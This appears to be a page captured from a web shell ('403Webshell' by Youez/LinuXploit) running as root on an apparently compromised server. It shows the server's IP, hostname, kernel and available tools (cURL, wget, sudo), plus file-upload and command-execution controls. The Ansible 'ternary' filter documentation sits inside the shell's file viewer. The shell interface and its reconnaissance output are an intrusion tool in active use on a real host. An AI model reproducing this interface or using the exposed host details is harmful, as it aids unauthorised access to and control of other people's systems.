403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible/plugins/filter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/ansible/plugins/filter/ternary.yml
DOCUMENTATION:
  name: ternary
  author: Brian Coca (@bcoca)
  version_added: '1.9'
  short_description: Ternary operation filter
  description:
    - Return the first value if the input is V(True), the second if V(False).
  positional: true_val, false_val
  options:
    _input:
      description: A boolean expression, must evaluate to V(True) or V(False).
      type: bool
      required: true
    true_val:
      description: Value to return if the input is V(True).
      type: any
      required: true
    false_val:
      description: Value to return if the input is V(False).
      type: any
    none_val:
      description: Value to return if the input is V(None). If not set, V(None) will be treated as V(False).
      type: any
      version_added: '2.8'
  notes:
    - Vars as values are evaluated even when not returned. This is due to them being evaluated before being passed into the filter.

EXAMPLES: |
  # set first 10 volumes rw, rest as dp
  volume_mode: "{{ (item|int < 11)|ternary('rw', 'dp') }}"

  # choose correct vpc subnet id, note that vars as values are evaluated even if not returned
  vpc_subnet_id: "{{ (ec2_subnet_type == 'public') | ternary(ec2_vpc_public_subnet_id, ec2_vpc_private_subnet_id) }}"

  - name: service-foo, use systemd module unless upstart is present, then use old service module
    service:
      state: restarted
      enabled: yes
      use: "{{ (ansible_service_mgr == 'upstart') | ternary('service', 'systemd') }}"

RETURN:
  _value:
    description: The value indicated by the input.
    type: any

Youez - 2016 - github.com/yon3zu
LinuXploit